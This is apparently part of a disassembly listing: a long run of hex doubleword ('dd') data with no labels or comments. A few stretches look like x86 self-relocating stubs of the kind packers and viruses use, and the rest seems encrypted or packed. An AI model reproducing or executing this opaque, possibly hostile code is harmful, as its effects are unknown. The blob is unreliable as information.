		dd 0C7E19B81h, 50550FF5h, 0F40B28F8h, 767B331Ah, 0F71A797Fh
		dd 2E59B82Fh, 34ECCF29h, 768D382Fh, 0FAFFB79Ch,	6F9BFD03h
		dd 486B82A1h, 267734AEh, 845E75C8h, 92D1E8A2h, 0B84C426Fh
		dd 0C57F6129h, 0F4AE94EEh, 9B4DF8EFh, 4FB00B8h,	0E8CA9CFEh
		dd 0B826552Eh, 0D6BFE610h, 226A8h, 0B26C5400h, 27DFC698h
		dd 9E563B0Dh, 11C9B284h, 894325F7h, 7CB11A6Fh, 0F4C6E09Ah
		dd 6A3C5610h, 0E3B5CF87h, 492943FDh, 0BA763B5Eh, 8E0021D4h
		dd 109AC6F4h, 0C78A3A6Ah, 0EEB5ABB4h, 181CEDEAh, 7C361812h
		dd 0F0AA9062h, 0DCC59FD6h, 0C6FC1E24h, 474C06ECh, 2AF64A50h
		dd 2CE4C7A1h, 7C353027h, 2729BAA0h, 8E858A42h, 0A2B964B7h
		dd 80A48963h, 0BAA1545Dh, 2CD72A29h, 0A00FE326h, 0AA692E5Ah
		dd 3E9F147Eh, 2FDEE8Ah,	21DA1AAFh, 0E9F41BC7h, 499E3E2Ah
		dd 0A7EEF39Eh, 21D9BF06h, 0F8C0EC37h, 0BA7568Ah, 62BF343Ah
		dd 0D416DE0Ch, 0CCF953h, 0DA060000h, 7200DF6Eh,	55076C97h
		dd 137B639h, 2B2E5056h,	0E6A08445h, 0B9E5243Bh,	4DBE646Ch
		dd 5C5550AFh, 2229BA01h, 7E7CC9CFh, 96DDE29Ch, 29BA0234h
		dd 11D6E9CFh, 0BABB1BE6h, 0A577913Ch, 9D0005BFh, 95C69571h
		dd 0B7BD2A2Ah, 677EBD63h, 0EBF1AB8Dh, 0CCBD698Ch, 61BB2E59h
		dd 11BC67Eh, 550DF0CAh,	0FF535950h, 0BCFB1211h,	4247FFE2h
		dd 5502454Bh, 0B5267782h, 8F714B62h, 9670CFD5h,	530DF3B4h
		dd 0DABC8EA8h, 8F1E4720h, 0D2BBE610h, 0E2A4h, 0F6B09800h
		dd 6B230ADCh, 0E29A7F51h, 550DF6C8h, 0CD87693Bh, 0C0755EB3h
		dd 380A24DEh, 0AE809A54h, 27F913CBh, 8D6D8741h,	0BA327FA2h
		dd 0DA4C21D4h, 8F492B40h, 3BDA375h, 452BEFE9h, 0B59A748Bh
		dd 565B13F6h, 61AEB45Fh, 0D5BC7D63h, 0A1238EB1h, 85B29BAh
		dd 6C98B25Dh, 0B9F81BA4h, 0EA29BAA0h, 4E454A04h, 1C95B877h
		dd 6229BAA1h, 0A2B9640Fh, 0EAA28963h, 7BE5A1E4h, 10632E5Fh
		dd 6D270D0Bh, 59421C53h, 50FBB39Ah, 544E544Bh, 719DB46Eh
		dd 8CDC8AE2h, 0A8F5FB6Ah, 7574E161h, 0EE8071Dh,	766D722Ch
		dd 54A6FB70h, 0C89AB46Eh, 371128E2h, 45929850h,	0B69F5E47h
		dd 0EDC4E7FEh, 891EB64Ch, 90868B36h, 0D6BC0E63h, 0CD783015h
		dd 5D5477B6h, 191EB64Dh, 8C5EC0C6h, 0B9E7ECA6h,	3, 2B66244Fh
		dd 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h
		dd 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh,	815B5453h
		dd 4C3h, 4EB8300h, 5C241C87h, 41D368h, 24348900h, 3F8A68h
		dd 24048900h, 1F0368h, 242C8900h, 0E5DDDBBDh, 5DEE8907h
		dd 24048B54h, 5104C483h, 8B9h, 56C10100h, 8B59018Fh, 89562404h
		dd 4C681E6h, 83000000h,	348704C6h, 34FF5C24h, 0C4835E24h
		dd 9805E904h, 211CFFFAh, 4FED4B2h, 1D6A4CABh, 0E874B83Fh
		dd 0C50307E5h, 611CE0FFh, 464B7DC2h, 3903136Ah,	26444C86h
		dd 0B4315899h, 24EB497Ah, 9 dup(0)
		dd 0BDE9h, 0B58900h, 8B07E5E9h,	0E016B185h, 0ED858B07h
		dd 8D07E00Fh, 0E5E94AB5h, 0A0858D07h, 0FF07E357h, 0E855C3D0h
		dd 0
		dd 50ED815Dh, 8307E5E9h, 0E016B1BDh, 850F0107h,	2Ch, 0E900B5FFh
		dd 858B07E5h, 7E00FEDh,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 7E5E904h
		dd 0B5FF56h, 8B07E5E9h,	0E00FED85h, 27363507h, 0D0FF3481h
		dd 8D0CC483h, 0E5E904B5h, 14468B07h, 8304E083h,	840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 16B1BD83h, 0F0107E0h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 7E5E929h, 2A758589h, 9FE907E0h
		dd 0E000000h, 944CB4E3h, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 22h dup(0)
		dd 4EE90000h, 6800000Ch, 7E5EC7Ah, 0FA9636E9h, 0ED6B68FFh
		dd 2CE907E5h, 68FFFA96h, 7E5EE94h, 0FA9622E9h, 0EF1168FFh
		dd 18E907E5h, 68FFFA96h, 7E5F072h, 0FA960EE9h, 0F0DC68FFh
		dd 4E907E5h, 68FFFA96h,	7E5F43Ah, 0FA95FAE9h, 0F54B68FFh
		dd 0F0E907E5h, 16FFFA95h, 885A742Eh, 0FDCFE9A1h, 74466018h
		dd 0E7B9D38Bh, 0DC314B05h, 0A25C3EF3h, 18D2B688h, 91492CFEh
		dd 5BFA577h, 0FD200BEBh, 21D4B6B4h, 0C6BE58CAh,	6E265C9Ah
		dd 80EA1FBh, 696E280Eh,	0DBC4856Bh, 325E7823h, 173A51EEh
		dd 2E59AFE7h, 9D470531h, 4592697Fh, 0B388FDDEh,	454BF6BFh
		dd 6BCED326h, 0ECF2AA91h, 0D9EB04A9h, 0FCB49721h, 5E16F9F7h
		dd 0D9366359h, 0C8258696h, 0DEA7ED19h, 4044FCE1h, 7BFFBE41h
		dd 0C55E532Ch, 0DA9A9E49h, 46B104BEh, 0CEFC0208h, 0E53D4D9h
		dd 57AA35E2h, 9AA0253Fh, 5516h,	4FD16000h, 0A1506184h
		dd 0D32629BAh, 0D9843C21h, 0A0539FC2h, 5AAD2E5Ah, 432B1743h
		dd 0F692FA63h, 5C535812h, 0FB5EABB1h, 7F833D21h, 0BAB92A8Dh
		dd 0B4F7FD26h, 21D9AAF9h, 308EE344h, 53D41CF2h,	0DE1Dh
		dd 0A5FE2A00h, 0E1918F97h, 0D8646EADh, 76215ABEh, 452B4E70h
		dd 0A688868Bh, 0B74FA493h, 0BA201D94h, 2065929h, 0F44DE313h
		dd 0E1757E8Dh, 795B0DB8h, 110F14BFh, 6E6C712Bh,	723F6288h
		dd 0C29BA68h, 6914CEB2h, 0BF89A4BEh, 6229BA6Bh,	71A8C27Ch
		dd 63A20F32h, 1D0129BAh, 4F328C63h, 0F09B9297h,	500AF0EAh
		dd 290EE84Bh, 9176B71h,	0D2F0132Ah, 4C2E5A43h, 80A3E2F9h
		dd 21DA8431h, 92F4FA4Dh, 667DBA66h, 78000C43h, 176A26h
		dd 708A4426h, 0BE765F39h, 0C2BCC2B9h, 7A4D26E0h, 8BE610F8h
		dd 9DD74A2h, 0BDA50000h, 3017E903h, 0A78C5E78h,	1A03D5EFh
		dd 94764862h, 426BC0DAh, 1731EBCDh, 8DA76145h, 620D8BBh
		dd 7A944E34h, 258CAF9Ah, 5121D4B5h, 492B45DFh, 0BDA3758Fh
		dd 0D1EFE903h, 0FFD9F04Fh, 5F5D621Ah, 1016C17Bh, 0A0648EB1h
		dd 805A2E5Ah, 77DADF97h, 0DAA05D54h, 1BC61921h,	9EA3F615h
		dd 0DAA05657h, 0A8604521h, 5BFA5A3h, 0C419CE00h, 0AB086979h
		dd 0D4EB2955h, 0CC4253h, 2B8C0000h, 88868B45h, 329493A6h
		dd 0FC4D6487h, 0D62929B9h, 47D75CD2h, 0F850979Ch, 9329BA19h
		dd 7D9F3ADh, 0A626721h,	0D3122906h, 565B15F9h, 0AC16595Fh
		dd 322E59F1h, 363BF3D8h, 0F0A88D3Fh, 0B5F42B45h, 0D9F21F92h
		dd 7AB5721h, 8CCA372Dh,	0D82C32DDh, 0B1D4EB48h,	2677C3ADh
		dd 0E7C1D82Bh, 5A344B05h, 53B5BB73h, 0CE59F81h,	0E611443Fh
		dd 0EC3D6B54h, 96000008h, 8DAF4AEh, 7D4F6921h, 0F4C6E098h
		dd 6739530Bh, 5CB1CB85h, 22DCBE73h, 98523608h, 11C9AC7Eh
		dd 853F25F7h, 7DA08B6Bh, 21D4B434h, 2B3ED84Ah, 0A3758F49h
		dd 5D15FCBDh, 9FB66158h, 57213460h, 0ACAD3B1Fh,	0BA6300B1h
		dd 9E133629h, 0D829BA62h, 555BAE85h, 9AC6F9F3h,	82D420AAh
		dd 150F1518h, 7270752Fh, 81B8D28Ch, 106BEA7h, 60B0040Ah
		dd 416DACC3h, 0D055BDF5h, 1A01B314h, 60665D62h,	5E6CAB1Dh
		dd 1E07E12Eh, 536A6166h, 0D56E8130h, 0A4AAFD21h, 411B3285h
		dd 4C1A485Bh, 0D4B3F554h, 0A5179ABDh, 0C5F21D4h, 0F52C4761h
		dd 4C21D4A4h, 0C67E61C5h, 0BEB7011Bh, 0FA112EF2h, 74A98FD7h
		dd 0E70AC926h, 29B4A5CAh, 1B661B4h, 6C5AD41Ah, 423EDBAh
		dd 7BD0CAEDh, 4CA69A8Dh, 0B1A8AD65h, 67A90106h,	2085B1C8h
		dd 0C1795CA0h, 0E1F7DEBDh, 0FE3D7CDBh, 8D65D6DBh, 474DA095h
		dd 2CA2D104h, 0CBE2359Ah, 5D48698Ch, 0DB2E95ECh, 7B66F3D7h
		dd 6A704027h, 914B310Bh, 5BFA577h, 0DD10652Ch, 67957E79h
		dd 7C3h, 31DD7BFh, 78924A31h, 0EF09C1A6h, 627C341Dh, 0DAF4AE90h
		dd 5E75C85h, 7B5F314Bh,	0F2D5A7C1h, 684E203Ah, 0C9B494AEh
		dd 0D4B30BA6h, 67017321h, 0C6AD87C6h, 0A09E130Eh, 19D829BAh
		dd 0BAA0BBF6h, 0C570C329h, 86A56BBFh, 487C4C6Fh, 0A7FA2E5Fh
		dd 17CFB690h, 0DE9AC6FDh, 74D1F0F5h, 61484248h,	0CFB892A9h
		dd 0B7DF1317h, 1CE9EBEFh, 0E5CBC916h, 0CF11522Bh, 0C5AEEDF3h
		dd 74697h, 9A543C00h, 0FC7AE80h, 863E23F5h, 0F9B19A6Ch
		dd 712B0DDFh, 64D90257h, 0DCAEC882h, 52243EF8h,	0CB9DB76Fh
		dd 31112BE5h, 0B18E2346h, 76E821D4h, 0F04FD1DCh, 4812B6D9h
		dd 35882E5Fh, 0A862441Eh, 47A6ACA3h, 244A2E08h,	0D4B7B001h
		dd 0C873C621h, 743D60C3h, 0A21D4B8h, 0C060CB7h,	26526C26h
		dd 0E4233AFBh, 6E4366A5h, 821D4B8h, 0B7F7BAB5h,	257F21D4h
		dd 0D3D9843Ch, 0D4B80D90h, 0F1F64921h, 0D4B804AAh, 7BD83921h
		dd 0D10FF925h, 4C1253h,	0D15C0000h, 47FFE84Eh, 2346859Ch
		dd 29BAA08Eh, 0FEE395E8h, 444A4146h, 0A0F3C2E5h, 409329BAh
		dd 0A0B9F43Bh, 238429BAh, 0B5D817CEh, 29BAA0FCh, 23292F82h
		dd 5434E6E7h, 1110h, 0BBDE1D00h, 29BA98F6h, 5272D80h, 1FCFBh
		dd 0B0B39100h, 81A4B9E5h, 160BB396h, 0D754BC10h, 3BC99DC0h
		dd 0C0FF2E5Ah, 0DA34149Dh, 4FEE3D21h, 55C17258h, 6252B7Eh
		dd 5017FEB3h, 467E2FD5h, 9CDE407h, 56A98170h, 1714FC50h
		dd 89412600h, 28878D84h, 0FF09505h, 9398EB86h, 3F56D53Bh
		dd 0DD31D400h, 0D9EAF64Fh, 584590D3h, 2C17EAFh,	70A7D2DFh
		dd 6E52AC81h, 0DB8AFB4h, 8B714B62h, 0A680B7D1h,	80208C2h
		dd 648F6822h, 0F58E5850h, 5E5DE0Ch, 0B59D0000h,	280FE1FBh
		dd 9F845670h, 12FBCDE7h, 8C6E405Ah, 7A63B8D2h, 0F29E3C5h
		dd 859F593Dh, 0FE18D0B3h, 728C462Ch, 2D84A792h,	4921D4B1h
		dd 452B3DD7h, 0B49A748Bh, 0F8FEF5FAh, 2CD53ABh,	0BAA0D2DFh
		dd 0AE59AC29h, 1DD7BD97h, 0A995B817h, 2F2E5A8Eh, 0B18BC2DCh
		dd 140B10C8h, 742E140Eh, 0EE85769Bh, 0F4220BEDh, 57Bh
		dd 4B651F07h, 0C0DA9279h, 375109EEh, 0AAC47C65h, 223CF6D8h
		dd 4D2FE4CDh, 0C3A77993h, 3A1DEF09h, 0B0966882h, 11FCDCF6h
		dd 0D4B0C3EEh, 0AF49BB21h, 0A284452Bh, 974F36E8h, 0D9F09B92h
		dd 5E631DFFh, 18D0B567h, 0C9161C13h, 4224E5CBh,	0E18C8388h
		dd 0D62B74DCh, 0CAE49E84h, 34E6BEECh, 3F24FE54h, 73FD8187h
		dd 47000000h, 4708ECC6h, 0FB01AC64h, 0A3BA79A7h, 5EE3864h
		dd 0ACB83558h, 5CB63A6h, 0EEAD2E5Ah, 0FD258CAFh, 0FE5121D9h
		dd 0D9FCAE03h, 0CA75C821h, 0FD2F7EC5h, 836C21D9h, 0E2C8C6CBh
		dd 72BB2328h, 42C5791Dh, 5E382F5h, 0D3FF4A5Ah, 52D4CEAAh
		dd 0B2E454Eh, 21DA6AA6h, 2777DD0h, 0DC134FADh, 423C53D4h
		dd 49000000h, 0A1C8891Dh, 44293FB7h, 0E590878Ch, 4FD1BDDFh
		dd 1FB6D9F0h, 972E5AEFh, 14EE2D44h, 7D747931h, 0DE967D77h
		dd 5305A9C4h, 0B29821DAh, 250CDEF8h, 0D905686Dh, 65C3BE9Bh
		dd 0F21C2286h, 46Fh, 0F04FD188h, 0BD00B6D9h, 23762E5Ah
		dd 0FFE1BB1Eh, 43494045h, 0B9A26349h, 5A05FC01h, 50ADE255h
		dd 385B64ACh, 21DA8479h, 0F007B205h, 7AA0E9CDh,	324C9F26h
		dd 0D0B97A60h, 711C1318h, 2F0C146Ch, 8C19F518h,	731F2E5Ah
		dd 0E3D539E9h, 3439E406h, 92C5236h, 21DA36A8h, 0CBD07BCEh
		dd 272CE4CDh, 64AF0431h, 0E2C9A3BAh, 52AF242Ah,	4E682208h
		dd 0FCB5D817h, 8221DA36h, 4BD5292Fh, 0E8B2D5ECh, 5E267A3Ah
		dd 2208060Bh, 406D6368h, 735A34E3h, 0B9BFB6BBh,	9075BB65h
		dd 8A35EFD1h, 0BA8A8E85h, 0E47DC4F6h, 4B8AA14Ch, 0BA848928h
		dd 0ABC5C829h, 139D9483h, 84E3E93Ch, 5A483961h,	2D500F2Eh
		dd 21DA4784h, 797E361Fh, 0F0FFAB82h, 0D33AEE46h, 0DDF7A24Dh
		dd 666B250Bh, 0C7CC8668h, 78C21F54h, 0DBECD192h, 269DFBF1h
		dd 0F9FEA99Ch, 3D3E7396h, 0E53821DAh, 0ECA6883Ah, 15FB2741h
		dd 32DCFF16h, 44267A28h, 1B00DAF1h, 0B5675E63h,	0C10E14CCh
		dd 1E23DDC3h, 0EFA6FB28h, 0C5773115h, 0D0242AE2h, 0A9CCE340h
		dd 2E5A4365h, 2F6680D3h, 1D3FC4F0h, 0A445F331h,	0D9E708A9h
		dd 151B6E21h, 767B351Bh, 0C1D89278h, 91204382h,	0ED21D9E6h
		dd 0E7129F9Ah, 196C21D9h, 9B85B113h, 9C62859Ch,	9A2679EDh
		dd 0B2FB4247h, 8B29B9E4h, 4B77D52Ah, 8954345Ah,	0F13CDAFh
		dd 6FA07D96h, 68ECF2C1h, 43h, 0B89B75h,	0DCFE04FBh, 0D9F04FD1h
		dd 5AA03CB6h, 586FC22Eh, 0FAB7DA19h, 8421DA9Fh,	9F7B3631h
		dd 0B00321DAh, 97165DAAh, 0A621DA9Fh, 5492E845h, 7F53D4EBh
		dd 102h, 872A4D8Ch, 0EF21DA93h,	2B74969Ch, 0E4CE3245h
		dd 0D4495480h, 0DC8E39F1h, 919641F9h, 0E0F7B193h, 62682206h
		dd 77311715h, 0D48E7472h, 0FDA99FBAh, 5E4429B9h, 0FD9C1538h
		dd 8FE229B9h, 0B993CAE4h, 1C161CD4h, 0C4ED1036h, 8D29B9FDh
		dd 0BC932C9Bh, 0A8542BA8h, 0A3F6D8B8h, 903BE6B0h, 9A173A79h
		dd 0E429BA57h, 0E63E8B91h, 5610F63Ah, 0B57194ABh, 0B32E5A39h
		dd 0F61A4660h, 0F7FF2239h, 112677B2h, 0E8CDA7BEh, 0F1CB2A30h
		dd 693B550Fh, 0D5F4CD87h, 6EE6112Dh, 21D5785h, 7D650000h
		dd 0F0D7A9C3h, 674C1E38h, 0DAC395AFh, 54360822h, 822B809Ah
		dd 0D7F1AB8Dh, 4D672105h, 0C6E0987Bh, 3A540EF4h, 654C6F5Ah
		dd 1121D4ADh, 492B059Fh, 24C788Fh, 19F42CE2h, 693B9DA3h
		dd 9F835D83h, 0EEE9E0E5h, 29BA4AC3h, 3E43FBE0h,	191D7047h
		dd 0A754F92Ah, 5D772229h, 45694C26h, 0B9A18F22h, 0E994E729h
		dd 4FD1C1E3h, 444903E9h, 4C8BA24Dh, 0EACC8B72h,	89342B30h
		dd 0A0B24083h, 79CC2E5Ah, 9F802D74h, 5CBD21DAh,	8245007h
		dd 0EBA388C6h, 149B5AE7h, 2A004FCEh, 0ACB25D1Fh, 0D40B78A6h
		dd 0B89353h, 2BDD0000h,	88868B45h, 0A0E7ECA6h, 29BAA4A8h
		dd 89A35D43h, 88ABD1B7h, 29BA9D29h, 52570255h, 21916FAh
		dd 5A7E47DFh, 5E7412Eh,	5A86A04Bh, 3F6279B6h, 2677F118h
		dd 752D146Eh, 0B7CE7970h, 91B59E78h, 0B803436Eh, 3DE83B29h
		dd 413B4138h, 628EA55Fh, 0D5C971A7h, 56B8BE7Ch,	0FE8A284h
		dd 0E6114CF6h, 0C7CAA93h, 76000001h, 0E8BAD48Eh, 5D2F4901h
		dd 0D4A6C078h, 471933EBh, 3C91AB65h, 2BC9E93h, 783216E8h
		dd 0F1A98C5Eh, 651F05D7h, 5D806B4Bh, 21D4AC54h,	2B1EB82Ah
		dd 3E758F49h, 0D030BE12h, 9EF66E3h, 0A8534A4Fh,	9CC2A8A2h
		dd 0B9F73879h, 40EB3E29h, 452B2C26h, 0EE48748Bh, 6B59589Dh
		dd 9AFD4A50h, 331CDBC0h, 0D47F767Bh, 0D8D2D8CFh, 0F21E38F2h
		dd 0D7FA112Eh, 2E5F35EDh, 0B8705933h, 18D0B5B3h, 0EE48676Dh
		dd 564D520Ch, 0C2A8A6ABh, 5E631D01h, 0D0A2BC67h, 0E42B30EAh
		dd 5B05B97Dh, 0CDB08AA9h, 459A0F15h, 3C530DF3h,	24AA0A10h
		dd 797FADF8h, 19B4E017h, 0F3A82707h, 959A5438h,	0F3EDF39Eh
		dd 0EB4E530Dh, 603BF6BFh, 9EA4431Dh, 0E6AABBA4h, 0F7765889h
		dd 16CEB769h, 0F215546Bh, 0DD0623BFh, 0D0B264B7h, 141A1116h
		dd 8EBAD1C7h, 0A22C0512h, 6ADFE5E3h, 23DDC315h,	7093D209h
		dd 0DD065041h, 0EAE4EA3Dh, 17454A04h, 3, 2B6624ADh, 86848943h
		dd 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h,	66646923h
		dd 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 81E18951h,	4C1h, 4E98300h
		dd 5C240C87h, 68243C89h, 7502h,	68240489h, 39EBh, 83241C89h
		dd 2C8904ECh, 0EAEBBD24h, 0E88907E5h, 1C8B545Dh, 4C48124h
		dd 57000000h, 8F57C789h, 8B5F0843h, 8951241Ch, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C48158h, 0E9000000h
		dd 0FFFA89F7h, 0C19221FCh, 0F67CB80Eh, 0C50307E5h, 0C862E0FFh
		dd 8A952200h, 2DF54127h, 9B6342C2h, 71F33B96h, 4B794028h
		dd 3E3A774Eh, 0EC4B16DCh, 6B514CFDh, 5ED27133h,	0D7B8033Bh
		dd 0ACCD7F45h, 79F9100Ch, 39BD451Bh, 1A4A2860h,	0E63113FCh
		dd 230F29BCh, 51572D16h, 26F81AD8h, 0D2F34ABAh,	0CEFC39ACh
		dd 3AE510Dh, 0A0232050h, 0C70566A4h, 0AD851886h, 0D0783FA0h
		dd 8D8D09DFh, 7E5F821h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0F5C35040h, 2948FC1h,	0CA961A2Eh, 1195096Ah
		dd 8907E01Dh, 0E018158Dh, 518D0107h, 0C707E016h, 0E0204985h
		dd 73C007h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0A91A63A6h, 0C585C7F8h, 7E022h, 0FF000000h
		dd 0E01B41B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 7E2DCD24h, 819FCA6Dh
		dd 95FF13E9h, 7E02091h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0D7C35747h, 6A040Dh, 18A995FFh, 0C08B07E0h
		dd 3EFF7DEBh, 0ED066FD7h, 5EEA56D3h, 0F46B0380h, 18E456E5h
		dd 1DB53F61h, 0B1DE5F10h, 0EF8ADAA4h, 802A7E60h, 0D508CE5Fh
		dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h,	99F52B91h
		dd 0E96CACE8h, 0F60E0B10h, 1742CE39h, 0D44F102Dh, 0B463C25h
		dd 15811334h, 9CC49E41h, 0AB764E92h, 41FF4786h,	34F26920h
		dd 0F750F478h, 0BC46E715h, 0E06F61A8h, 2E2AA481h, 8B9C2BB2h
		dd 2D2DA2EBh, 0E843F7DEh, 0Fh, 7AF4CAA0h, 2A52719Fh, 33BADB4Ch
		dd 0B9881E7Bh, 63F5660Fh, 28D0F5Ah, 0B1000000h,	84C281BFh
		dd 0F00006Eh, 686h, 0ADB58900h,	0BF07E016h, 1B6Eh, 8367DDBBh
		dd 0B9328B5Fh, 1031AA0Fh, 6E42C681h, 95016944h,	7E01F15h
		dd 0EF50F681h, 0B589181Ah, 7E021A5h, 1C35EE81h,	0F7806F35h
		dd 28F567Bh, 5860Fh, 0A4B90000h, 8322BECDh, 7E804EAh, 0BB000000h
		dd 0FC0C9604h, 1EB39AB1h, 1EF8359h, 28850Fh, 60600000h
		dd 0EFF9BF66h, 0FA1B58Bh, 8B6107E0h, 0E00B1195h, 2DE96107h
		dd 19000000h, 0B3062DC5h, 0F1BC65D5h, 0D56564A3h, 8D31ED87h
		dd 7E015A9h, 0FFFF7CE9h, 0E44508FFh, 4CD568C1h,	0DDD55BECh
		dd 0E07FF73Ah, 0B5111FF1h, 0FE8h, 19D71800h, 0AA5E34A8h
		dd 0E05F92BFh, 9C7C2291h, 1E8D958Bh, 665907E0h,	81BDFFBBh
		dd 5F18C1h, 1D9D8B00h, 0BF07E000h, 1795h, 2A959D8Bh, 31FF07E0h
		dd 5EDA8B66h, 19F64CBBh, 0C4EE8105h, 0E85C6AD6h, 0Bh, 542166FEh
		dd 0ACF1CF55h, 0B814AEA7h, 36B56B48h, 0F3EE815Ah, 8B2A58F6h
		dd 0E02C1985h, 88C68107h, 232E97BAh, 0E029F185h, 0B3318907h
		dd 3E983C0h, 0BE9h, 691D8400h, 8F4953D5h, 650AB18Ch, 0C0BF0F49h
		dd 1EF81h, 850F0000h, 20h, 8E8h, 37A8C200h, 0A984C227h
		dd 0DB589A7h, 5807E032h, 18E9h,	8FD37400h, 0D998FA76h
		dd 66D58A60h, 0E961D38Bh, 0FFFFFF6Eh, 0C25CED99h, 19E95Bh
		dd 0B9EE0000h, 61E0h, 4	dup(0)
		dd 0E9000000h, 56Ch, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah
		dd 365008F1h, 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h
		dd 3C22F40Eh, 9D886882h, 0D4A7377Ah, 0F6CD3F21h, 0A71D94B7h
		dd 957E21D4h, 0AE1D8DDh, 0C68FB1B7h, 0A14D6487h, 0D62929BAh
		dd 5137BD2h, 747AA629h,	0C3DA947Ah, 43506184h, 0D32629BAh
		dd 0A08280CDh, 14FACCE6h, 7157555Ah, 0CDB4B2B7h, 689D1015h
		dd 21DBC10Bh, 934B300Ah, 2F91978Eh, 0A8C27A5Dh,	363BF3D6h
		dd 839A5438h, 409C3A9h,	0DED3F60Dh, 9829BA42h, 0F4F23F45h
		dd 0FE4E530Bh, 245DFD63h, 12F5A7BAh, 0C90C9101h, 24CF62C4h
		dd 0DD32F31Fh, 0D1AE0326h, 75C829B9h, 0DD0920CAh, 66E541BDh
		dd 64402051h, 4B98D3D7h, 2F84F9FFh, 9B163978h, 0E329BA79h
		dd 3DF5DE90h, 413B4138h, 0BA8CA65Eh, 0CE151AD4h, 29BA79E0h
		dd 60BE1344h, 5434CD22h, 6B4Dh,	452B9700h, 703F868Bh, 2B29BAA1h
		dd 87858A42h, 0B8E4E9A3h, 2E579AF7h, 91503913h,	0FAF1F6AEh
		dd 7FD4494Fh, 34EAE521h, 0D1F43354h, 29BA94E0h,	0B93D4396h
		dd 1, 20442B03h, 0BAA0B4FDh, 0CC77CA29h, 2AE2C9C7h, 0A983C225h
		dd 9E130EC6h, 0D829BAA0h, 33DE987Eh, 924A332Dh,	88E51A8Dh
		dd 859F573Eh, 230CCDB3h, 0ACA6C06Bh, 8A8F492Bh,	0E8EDA58Ch
		dd 90DA3780h, 0A3DAF4AEh, 0A1704164h, 0B30629BAh, 13CDB3ADh
		dd 0EFD1AB0Eh, 50352F35h, 0BEA78198h, 40A0106h,	1DD7B9B7h
		dd 7B331A18h, 0FE538076h, 0ED42A3B3h, 34E8438Fh, 658C54h
		dd 2BD60000h, 8C8A8F49h, 77EAEFA7h, 0B99BED42h,	3113E5FFh
		dd 2AD58D70h, 863E2725h, 6FC42581h, 5B5679B8h, 0F629BAA1h
		dd 49FE5A5h, 0F5B48B17h, 0BA36DFD2h, 99449729h,	82418D93h
		dd 548A5434h, 0D4000000h, 8A8F492Bh, 0ECF1A98Ch, 4D520CEEh
		dd 0ACB16B4Fh, 0CC68C57Ah, 0B825E11Bh, 0BAA04B2Ah, 7C5EA805h
		dd 2BAEA8C2h, 40878C44h, 29BAA16Eh, 8C914B2Dh, 0EAEFA78Eh
		dd 63AE03B8h, 0BDE01F3Ah, 29BAA0F4h, 370EC6AFh,	1469DEE4h
		dd 34EA88B6h, 1A354h, 2BED0000h, 8B898E46h, 0E8E6EBA5h
		dd 45434802h, 75A1A65Eh, 6A145FB4h, 0B196E03Dh,	0A1476A8Dh
		dd 705429BAh, 0DA8CDFB6h, 77913CF6h, 0C2816640h, 2A2126E0h
		dd 967C7A7Fh, 0D72B31DCh, 0B0D3EA49h, 2E5A9FBAh, 0DEDCE134h
		dd 52243EF8h, 0C19BB26Ch, 0D32026DEh, 0DAA0238Ch, 328F4421h
		dd 0AC2A983h, 11240A04h, 6A398801h, 68822D5Dh, 0F1F6B096h
		dd 3C530DF3h, 0DEFFA010h, 3A4065BDh, 785285EDh,	62D7DD95h
		dd 1BD5BB0Dh, 6E72301h,	6E1053D4h, 1D000001h, 0AED59CF1h
		dd 575D9A2Ah, 0F04FD135h, 0D9C09AD9h, 0FED81B21h, 782E5A86h
		dd 0E3BD2025h, 433D43FDh, 5289A35Dh, 0D5DB9378h, 363BF5DBh
		dd 5231A7D3h, 0A513FD5Dh, 15DE30A4h, 0E7ED98B3h, 484D07EDh
		dd 0F03A97E0h, 0B4B8E40Ah, 0BC9B9238h, 9DAE03FEh, 1CC821DAh
		dd 641A32Fh, 2BD68124h,	0A6F73311h, 592053D4h, 2D000000h
		dd 48E6CBEEh, 0D2B521DAh, 0EAF0431Ah, 7ECC6C8h,	2AF5494Fh
		dd 0D1F40Bh, 3656455Eh,	0B6BC765Ch, 532D4497h, 8A274A6Eh
		dd 0F4A9BAA1h, 0A3F0F6A1h, 0BAA2555Ch, 0FA5718A9h, 536ACB56h
		dd 455EA130h, 26B1DDD6h, 2961080Bh, 0FC01BBA1h,	35545A05h
		dd 0AEC6C8E2h, 5C000000h, 0E2C9AC6h, 64FE513Eh,	29060A5Eh
		dd 2EABEF12h, 52A52E5Ah, 2910EA4Dh, 0C8CD856Ah,	262026D1h
		dd 0E19B7F40h, 203AE5DCh, 2E33BDE9h, 43AD542Bh,	375D433Dh
		dd 0BBDCD5F8h, 4FA221D9h, 0D9BC5D54h, 0AFC61921h, 0D9BC258Ch
		dd 53FE5121h, 0C179623Ch, 72BFC5BCh, 0D9BBA12Bh, 0FE530821h
		dd 0F50CC6ACh, 757B351Bh, 7A9DDC13h, 21D9BC37h,	92E6EC3Fh
		dd 5B9AB18Eh, 0E5E09881h, 21D9BBCCh, 0FA595FB2h, 7E75A0D7h
		dd 0F72AD626h, 8D66492Dh, 20D8BF71h, 7479241Bh,	0D1D69076h
		dd 6EAC4DBh, 7CD1464Ch,	0CCE340D0h, 5A07CEA9h, 0BFD92C2Eh
		dd 0F04FD1C5h, 5AC1B6D9h, 0E6392E5Fh, 1C3F7EE1h, 21D4A695h
		dd 8E888EE1h, 9DD4EEA8h, 0A6763B5Eh, 0AD0021D4h, 0DC7ADA7h
		dd 1E1FC108h, 0D80D47D6h, 0EF2CC7Bh, 52584F54h,	9EB87258h
